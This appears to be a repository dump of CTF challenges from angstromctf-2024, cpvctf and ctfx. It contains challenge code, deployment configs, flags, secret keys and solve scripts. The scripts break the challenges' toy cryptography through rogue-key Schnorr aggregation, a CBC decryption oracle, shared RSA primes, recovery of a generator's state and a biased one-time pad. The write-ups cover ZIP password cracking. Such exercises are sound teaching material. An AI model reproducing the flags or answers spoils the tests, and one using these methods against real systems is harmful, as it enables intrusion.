int.from_bytes(pt[i+8:i+16], 'big') 38 | x, y = simon.encrypt(x, y) 39 | ct += x.to_bytes(8, 'big') 40 | ct += y.to_bytes(8, 'big') 41 | return ct 42 | 43 | if __name__ == '__main__': 44 | from random import SystemRandom 45 | 46 | random = SystemRandom() 47 | 48 | with open('flag.txt') as f: 49 | flag = f.read().strip().encode() 50 | 51 | key = [random.getrandbits(64) for _ in range(4)] 52 | 53 | simon68 = Simon(key, 68) # secure 54 | simon69 = Simon(key, 69) # super secure 55 | simon72 = Simon(key, 72) # ultra secure 56 | 57 | pt = flag + bytes(-len(flag) % 16) 58 | 59 | print(encrypt(simon68, pt).hex()) 60 | print(encrypt(simon69, pt).hex()) 61 | print(encrypt(simon72, pt).hex()) 62 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/simon_says_out.txt: -------------------------------------------------------------------------------- 1 | fd76dbfc85e68362be3231c4a07fedcd90bf361ac3943de5a86b4e57d0fdcf5a12e56301ac4867392dca08a972a10431 2 | 96dbd7e58120984bfd76dbfc85e68362645aa36f6ec1238490bf361ac3943de5ece6b9fdbfc4ea0f12e56301ac486739 3 | 429338f593432bb30002f715f77e7bdf2ce179c9be5c8659233df19bed12382e27da9c498275da7bcb8dec1a8d003e19 4 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/description.md: -------------------------------------------------------------------------------- 1 | I implemented a simple threshold signature scheme for [Schnorr signatures](https://en.wikipedia.org/wiki/Schnorr_signature). 2 | 3 | `nc challs.actf.co 31301` 4 | 5 | [tss1.py](tss1.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/flag.txt: -------------------------------------------------------------------------------- 1 | actf{r0gu3_4ggr3g4t1on_632d50edb72d34d3} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/key.txt: -------------------------------------------------------------------------------- 1 | 104979531365667953212983483440577109510314798383332160484727450212842535305585 2 | 97970492195138110953420102876686122100477169305437060676228274017075558273137 3 | 112823101683484730504766645086541214721303913038574749028852205516332709468795 4 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | import fastecdsa.keys 3 | import fastecdsa.point 4 | 5 | from tss1 import TARGET, hash_transcript, curve 6 | 7 | io = process(['python', 'tss1.py']) 8 | # io = remote('challs.actf.co', 31301) 9 | 10 | io.recvuntil(b'key: ') 11 | xy = eval(io.recvline()) 12 | pk1 = fastecdsa.point.Point(*xy, curve=curve) 13 | 14 | ask, apk = fastecdsa.keys.gen_keypair(curve) 15 | pk2 = apk - pk1 16 | 17 | io.sendlineafter(b'x: ', f'{pk2.x}'.encode()) 18 | io.sendlineafter(b'y: ', f'{pk2.y}'.encode()) 19 | 20 | io.sendlineafter(b'message: ', b'foo'.hex()) 21 | 22 | _, R2 = fastecdsa.keys.gen_keypair(curve) 23 | io.sendlineafter(b'x: ', f'{R2.x}'.encode()) 24 | io.sendlineafter(b'y: ', f'{R2.y}'.encode()) 25 | 26 | k, R = fastecdsa.keys.gen_keypair(curve) 27 | c = hash_transcript(apk, R, TARGET) 28 | s = (k - c * ask) % curve.q 29 | 30 | io.sendlineafter(b'c: ', f'{c}'.encode()) 31 | io.sendlineafter(b's: ', f'{s}'.encode()) 32 | 33 | io.interactive() 34 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/description.md: -------------------------------------------------------------------------------- 1 | This time, no more cheating. 2 | 3 | `nc challs.actf.co 31302` 4 | 5 | [tss2.py](tss2.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/flag.txt: -------------------------------------------------------------------------------- 1 | actf{th1nk_0uts1de_th3_c0nn3ct1on_d953f18e8c0870e8} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/key.txt: -------------------------------------------------------------------------------- 1 | 32188420234866181468236683409404055807302925827456181383950417609240361887445 2 | 30323417725848074946108619400187211070736170133084766555553791467912510000745 3 | 79006122486802690292138862145171795745353575582115120393769549454216944831660 4 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY bank_of_lamport.py lamport.py local.py pk sk /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/bank_of_lamport.py: -------------------------------------------------------------------------------- 1 | from lamport import * 2 | 3 | from local import flag 4 | 5 | options = '''\ 6 | [D]eposit money 7 | [E]xecute receipt 8 | [L]eave''' 9 | 10 | pk = unpack('pk') 11 | sk = unpack('sk') 12 | 13 | print('$$$ Bank of Lamport $$$') 14 | 15 | while True: 16 | print(options) 17 | choice = input('Choice: ') 18 | if choice == 'D': 19 | try: 20 | amount = int(input('Amount to deposit: ')) 21 | assert amount > 0 22 | except: 23 | print('Amount must be a positive integer.') 24 | continue 25 | m = 'Deposit {}'.format(amount).encode() 26 | s = sign(m, sk) 27 | receipt = '{}_{}'.format(m.hex(), b''.join(s).hex()) 28 | print(receipt) 29 | elif choice == 'E': 30 | receipt = input('Receipt: ') 31 | m, s = receipt.split('_') 32 | m = bytes.fromhex(m) 33 | s = [bytes.fromhex(s[i:i+64]) for i in range(0, len(s), 64)] 34 | if not verify(m, s, pk): 35 | print('Invalid receipt.') 36 | continue 37 | if m.startswith(b'Deposit '): 38 | print('Successful deposit.') 39 | elif m == b'Give flag': 40 | print(flag) 41 | else: 42 | print('Thank you for patronage.') 43 | break 44 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/lamport.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | from Crypto.Random import get_random_bytes 3 | 4 | def pack(fn, k): 5 | with open(fn, 'w') as f: 6 | f.write('\n'.join([' '.join([x.hex() for x in y]) for y in k])) 7 | 8 | def unpack(fn): 9 | with open(fn, 'r') as f: 10 | return [[bytes.fromhex(x.strip()) for x in y.split(' ')] for y in f.readlines()] 11 | 12 | def generate(): 13 | sk = [[get_random_bytes(32) for _ in range(2)] for _ in range(256)] 14 | pk = [[SHA3_256.new().update(x).digest() for x in y] for y in sk] 15 | return pk, sk 16 | 17 | def sign(m, sk): 18 | h = int.from_bytes(SHA3_256.new().update(m).digest(), 'big') 19 | s = [] 20 | for i in range(256): 21 | b = (h >> i) & 1 22 | s.append(sk[i][b]) 23 | return s 24 | 25 | def verify(m, s, pk): 26 | h = int.from_bytes(SHA3_256.new().update(m).digest(), 'big') 27 | for i in range(256): 28 | b = (h >> i) & 1 29 | if SHA3_256.new().update(s[i]).digest() != pk[i][b]: 30 | return False 31 | return True 32 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/local.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{single_use_post_quantum_bank}' 2 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 bank_of_lamport.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/setup.py: -------------------------------------------------------------------------------- 1 | from lamport import * 2 | 3 | pk, sk = generate() 4 | pack('pk', pk) 5 | pack('sk', sk) 6 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY bit_length_oracle.py paillier.py sk /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/bit_length_oracle.py: -------------------------------------------------------------------------------- 1 | from paillier import * 2 | 3 | sk = unpack('sk') 4 | 5 | print('We specialize in giving useless metadata about encrypted messages!') 6 | c = int(input('Encrypted message: ')) 7 | m = decrypt(c, sk) 8 | length = m.bit_length() 9 | print('The message is {} bits long'.format(length)) 10 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/flag.enc: -------------------------------------------------------------------------------- 1 | 127240818675345037440790425091910508052719457357141293716099296154307294812737603935632642764374345828769757275779770164797009301448857902651411950697339807075018133860600415974423905123881584978639136031579107827892308047795339580048223605845307547440976331054971593396433127693694683124410054642518629941805350091443067068099423906470511269567449459101331723963245321017236069579235266068370589168691457042880999304541807808850570656591271452042015279177268653003317287271496282762469963210890702790851810447127794318682579932738659537045071240717695944885442360549052541184172447543321597505727318721524057377902801076439296140261508446942471611318113936226692240204844993448834302418828979187148436098400226800472740640084398143965802811601931021909994679266421500853525043803436625980544441931684800065301559661258738211948185931578168997647409965236153944923080520057761701260863478588067522100525224111721690801208958794595421374476683444189813490052798168129352598078396682476513392342814298672729918628643625929535863404822776494138143961093854573737055440699559390111885574215804048393043911099792186623399617001044984373237881163212549475812493444052664677121123499429608887703100713063410081647567750820541854018921787145 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{oh_gosh_its_full_fledged_decryption}' 2 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/paillier.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import GCD, getPrime, getRandomRange, inverse 2 | 3 | def pack(fn, k): 4 | with open(fn, 'w') as f: 5 | f.write('\n'.join([str(x) for x in k])) 6 | 7 | def unpack(fn): 8 | with open(fn, 'r') as f: 9 | return tuple([int(x) for x in f.readlines()]) 10 | 11 | def generate(): 12 | p = getPrime(1024) 13 | q = getPrime(1024) 14 | n = p * q 15 | g = n + 1 16 | phi = (p-1) * (q-1) 17 | mu = inverse(phi, n) 18 | return (n, g), (n, phi, mu) 19 | 20 | def encrypt(m, pk): 21 | n, g = pk 22 | mod = n * n 23 | while True: 24 | r = getRandomRange(0, n) 25 | if GCD(r, n) == 1: 26 | break 27 | return pow(g, m, mod) * pow(r, n, mod) % mod 28 | 29 | def decrypt(c, sk): 30 | n, phi, mu = sk 31 | mod = n * n 32 | return ((pow(c, phi, mod)-1) // n) * mu % n 33 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/pk: -------------------------------------------------------------------------------- 1 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899027 2 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899028 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 bit_length_oracle.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/setup.py: -------------------------------------------------------------------------------- 1 | from paillier import * 2 | 3 | from local import flag 4 | 5 | pk, sk = generate() 6 | pack('pk', pk) 7 | pack('sk', sk) 8 | 9 | m = int.from_bytes(flag, 'big') 10 | c = encrypt(m, pk) 11 | with open('flag.enc', 'w') as f: 12 | f.write(str(c)) 13 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/sk: -------------------------------------------------------------------------------- 1 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899027 2 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083489758441608943318036778223488211044118834231584440577235241219755405373392824493562637260274679488715129455226072556974630044108407855574377245613157386933663590893470233032212118837965431637443637606585833121119213260597164800737287064813190281723360416213302155060561722251521461698283845838414160938626560800 3 | 10637202389867513023685663712616438387608370798402190186805292762286651274014194003443607350730790442482961596028746087894516171654582595961399217911283304973331404140878855696352532192855094456652736662499754140895784718693183341408368114336649940022488991470472822877449583134955556064935111777826883044715176986965965983018165359759167907208220984069201766571267201000114116704159951213084241642857645289001635639123811294266884479360300977808307819145502582638568971061949407597518602033987437156212737938114132239633161075645995852022648194301755065666359152380709978564896533408134414855828695556180823685555694 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY perfect_secrecy.py local.py /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{biased_pads_mean_a_smaller_keyspace}' 2 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/perfect_secrecy.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from local import flag 4 | 5 | print('One-time pads have perfect secrecy!') 6 | for char in flag: 7 | key = secrets.randbelow(0xff) 8 | print('{:02x}'.format(char ^ key), end='') 9 | print() 10 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 perfect_secrecy.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/solve.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from local import flag 4 | 5 | def query(): 6 | enc = [] 7 | for char in flag: 8 | key = secrets.randbelow(0xff) 9 | enc.append(char ^ key) 10 | return enc 11 | 12 | table = [[False for _ in range(256)] for _ in query()] 13 | for _ in range(3000): 14 | for i, char in enumerate(query()): 15 | table[i][char] = True 16 | 17 | flag = bytes([row.index(False) ^ 0xff for row in table]).decode() 18 | print(flag) 19 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/prime-database/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY prime_database.py local.py primes.txt /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/prime-database/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{my_prime_database_is_still_too_small}' 2 | -------------------------------------------------------------------------------- /cpvctf/prime-database/prime_database.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import PKCS1_OAEP 2 | from Crypto.IO import PEM 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Random import random 5 | 6 | from local import flag 7 | 8 | with open('primes.txt') as f: 9 | primes = [int(p) for p in f.readlines()] 10 | 11 | print('{} primes in database.'.format(len(primes))) 12 | 13 | p, q = random.sample(primes, 2) 14 | n = p * q 15 | e = 65537 16 | key = RSA.construct((n, e)) 17 | 18 | cipher = PKCS1_OAEP.new(key) 19 | enc = cipher.encrypt(flag) 20 | 21 | print(key.exportKey().decode()) 22 | print(PEM.encode(enc, 'FLAG')) 23 | -------------------------------------------------------------------------------- /cpvctf/prime-database/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 prime_database.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/prime-database/setup.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | with open('primes.txt', 'w') as f: 4 | for _ in range(128): 5 | p = getPrime(1024) 6 | f.write('{}\n'.format(p)) 7 | -------------------------------------------------------------------------------- /cpvctf/prime-database/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import PKCS1_OAEP 2 | from Crypto.IO import PEM 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Random import random 5 | from Crypto.Util.number import GCD, inverse 6 | 7 | from local import flag 8 | 9 | with open('primes.txt') as f: 10 | primes = [int(p) for p in f.readlines()] 11 | 12 | def query(): 13 | p, q = random.sample(primes, 2) 14 | n = p * q 15 | e = 65537 16 | key = RSA.construct((n, e)) 17 | cipher = PKCS1_OAEP.new(key) 18 | enc = cipher.encrypt(flag) 19 | return key, enc 20 | 21 | def collide(): 22 | log = [] 23 | while True: 24 | key, enc = query() 25 | for n in log: 26 | p = GCD(key.n, n) 27 | if p != 1: 28 | q = key.n // p 29 | return p, q, enc 30 | log.append(key.n) 31 | 32 | p, q, enc = collide() 33 | n = p * q 34 | phi = (p-1) * (q-1) 35 | e = 65537 36 | d = inverse(e, phi) 37 | key = RSA.construct((n, e, d)) 38 | 39 | cipher = PKCS1_OAEP.new(key) 40 | flag = cipher.decrypt(enc).decode() 41 | print(flag) 42 | -------------------------------------------------------------------------------- /cpvctf/prime-database/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/flag.png -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/flag.png.enc -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/known: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/known -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/qcg.txt: -------------------------------------------------------------------------------- 1 | 1272965995 2 | 170047439 3 | 2556485629 4 | 3939531601 5 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/quadratic_cg.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | pack = lambda x: struct.pack('>I', x) 4 | unpack = lambda x: struct.unpack('>I', x)[0] 5 | 6 | def qcg(x, a, b, c): 7 | mask = (1 << 32) - 1 8 | while True: 9 | x = (a*x*x + b*x + c) & mask 10 | yield x 11 | 12 | with open('qcg.txt') as f: 13 | x = int(f.readline()) 14 | a = int(f.readline()) 15 | b = int(f.readline()) 16 | c = int(f.readline()) 17 | stream = qcg(x, a, b, c) 18 | 19 | dec = open('flag.png', 'rb').read() 20 | dec += bytes(-len(dec) % 4) 21 | 22 | enc = bytes() 23 | for i in range(0, len(dec), 4): 24 | chunk = unpack(dec[i:i+4]) 25 | enc += pack(chunk ^ next(stream)) 26 | 27 | with open('flag.png.enc', 'wb') as f: 28 | f.write(enc) 29 | f.close() 30 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/setup.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | m = 1 << 32 4 | x = secrets.randbelow(m) 5 | a = secrets.randbelow(m) 6 | b = secrets.randbelow(m) 7 | c = secrets.randbelow(m) 8 | 9 | with open('qcg.txt', 'w') as f: 10 | f.write('{}\n{}\n{}\n{}\n'.format(x, a, b, c)) 11 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/solve.sage: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | pack = lambda x: struct.pack('>I', x) 4 | unpack = lambda x: struct.unpack('>I', x)[0] 5 | 6 | def qcg(x, a, b, c): 7 | mask = (1 << 32) - 1 8 | while True: 9 | x = (a*x*x + b*x + c) & mask 10 | yield x 11 | 12 | enc = open('flag.png.enc', 'rb').read() 13 | known = open('known', 'rb').read() 14 | 15 | x = [unpack(enc[i:i+4]) ^^ unpack(known[i:i+4]) for i in range(0, 16, 4)] 16 | 17 | m = 1 << 32 18 | A = [[x[0]^2, x[0], 1], [x[1]^2, x[1], 1], [x[2]^2, x[2], 1]] 19 | b = [x[1], x[2], x[3]] 20 | 21 | A = matrix(Integers(m), A) 22 | b = matrix(Integers(m), b).transpose() 23 | s = A.solve_right(b) 24 | 25 | stream = qcg(x[3], int(s[0][0]), int(s[1][0]), int(s[2][0])) 26 | 27 | dec = known 28 | for i in range(16, len(enc), 4): 29 | chunk = unpack(enc[i:i+4]) 30 | dec += pack(chunk ^^ next(stream)) 31 | 32 | with open('flag_.png', 'wb') as f: 33 | f.write(dec) 34 | f.close() 35 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY white_lotus.py local.py /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/local.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{welcome_to_the_oracle_of_the_white_lotus}' 2 | key = b'\x08\xce\xd2\x98\x10\x12\x13\xddZ\xda\xce\xeeU\xe7A\xe9' 3 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 white_lotus.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/solve.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode, b64decode 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Random import get_random_bytes 5 | from Crypto.Util.Padding import pad 6 | from Crypto.Util.strxor import strxor 7 | 8 | from local import flag, key 9 | 10 | def query(iv, enc): 11 | try: 12 | cipher = AES.new(key, AES.MODE_CBC, iv) 13 | dec = b64decode(cipher.decrypt(enc)) 14 | if dec == b'One who has eaten the fruit and tasted its mysteries.': 15 | return flag 16 | return True 17 | except: 18 | return False 19 | 20 | table64 = [[] for _ in range(256)] 21 | table65 = [[] for _ in range(256)] 22 | charset64 = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [43, 47] 23 | charset65 = charset64 + [61] 24 | for j in range(256): 25 | for c in range(256): 26 | table64[j].append(j^c in charset64) 27 | table65[j].append(j^c in charset65) 28 | 29 | def generate(dec, enc): 30 | while True: 31 | iv = get_random_bytes(16) 32 | if query(iv, enc): 33 | break 34 | actual = [] 35 | for i in range(16): 36 | tmp = list(iv) 37 | row = [] 38 | for c in range(256): 39 | tmp[i] = c 40 | row.append(query(bytes(tmp), enc)) 41 | if row.count(True) > row.count(False): 42 | row = [not x for x in row] 43 | try: 44 | if row.count(True) == 64: 45 | actual.append(table64.index(row)) 46 | else: 47 | actual.append(table65.index(row)) 48 | except: 49 | return generate(dec, enc) 50 | return strxor(dec, bytes(actual)) 51 | 52 | dec = pad(b64encode(b'One who has eaten the fruit and tasted its mysteries.'), 16) 53 | dec = [dec[i:i+16] for i in range(0, len(dec), 16)][::-1] 54 | enc = [bytes(16)] 55 | for i in range(len(dec)): 56 | enc.append(generate(dec[i], enc[i])) 57 | flag = query(enc[-1], b''.join(enc[-2::-1])).decode() 58 | print(flag) 59 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/white_lotus.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | 3 | from Crypto.Cipher import AES 4 | 5 | from local import flag, key 6 | 7 | split = lambda s: (s[:16], s[16:]) 8 | 9 | while True: 10 | print('Who knocks at the guarded gate?') 11 | try: 12 | iv, enc = split(b64decode(input())) 13 | cipher = AES.new(key, AES.MODE_CBC, iv) 14 | dec = b64decode(cipher.decrypt(enc)) 15 | if dec == b'One who has eaten the fruit and tasted its mysteries.': 16 | print(flag) 17 | except: 18 | print('\u2741') 19 | -------------------------------------------------------------------------------- /cpvctf/white-lotus/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /ctfx/corrupt/README.md: -------------------------------------------------------------------------------- 1 | The IDAT chunk that is corrupted is missing 4 bytes, as shown by the difference between the given and actual length. 2 | 3 | To fix the image, force the data to match its crc32 hash. Find the offset by either bashing or locate where the zlib stream meets an error. 4 | 5 | The flag is displayed in the bottom half of the recovered image. -------------------------------------------------------------------------------- /ctfx/corrupt/colors.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/corrupt/colors.png -------------------------------------------------------------------------------- /ctfx/corrupt/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(trunc@ted_PNG) -------------------------------------------------------------------------------- /ctfx/corrupt/statement.txt: -------------------------------------------------------------------------------- 1 | defund's method of corrupting images is pretty crude. -------------------------------------------------------------------------------- /ctfx/crash/README.md: -------------------------------------------------------------------------------- 1 | Inside of flag/, there is a hidden vim swap file, .flag.txt.swp. 2 | To recover flag.txt, use vim: 3 | 4 | vim -r flag.txt 5 | 6 | Alternatively, extract the lines in plaintext at the end of the swap file. The lines are separated by null chars and the line order is reversed. -------------------------------------------------------------------------------- /ctfx/crash/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(v1m_is_be77er_than_3macs) -------------------------------------------------------------------------------- /ctfx/crash/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/crash/flag.zip -------------------------------------------------------------------------------- /ctfx/crash/statement.txt: -------------------------------------------------------------------------------- 1 | defund was about to give this flag away until his computer crashed. -------------------------------------------------------------------------------- /ctfx/password/README.md: -------------------------------------------------------------------------------- 1 | files.zip contains two encrypted ZIP files. Both zip files contain 2 | a vcard and a signature of an employee. 3 | 4 | Evelyn Davis.zip can be cracked with a dictionary attack: 5 | password = basher 6 | 7 | The vcard inside her files is predictable: 8 | 9 | ``` 10 | BEGIN:VCARD 11 | VERSION:3.0 12 | N:Davis;Evelyn;;; 13 | FN:Evelyn Davis 14 | ORG:Defund Corp; 15 | EMAIL;type=INTERNET;type=WORK;type=pref:evelyn.davis@defund.io 16 | END:VCARD 17 | ``` 18 | 19 | Using that as a template, a vcard for Ryan King can be constructed: 20 | 21 | ``` 22 | BEGIN:VCARD 23 | VERSION:3.0 24 | N:King;Ryan;;; 25 | FN:Ryan King 26 | ORG:Defund Corp; 27 | 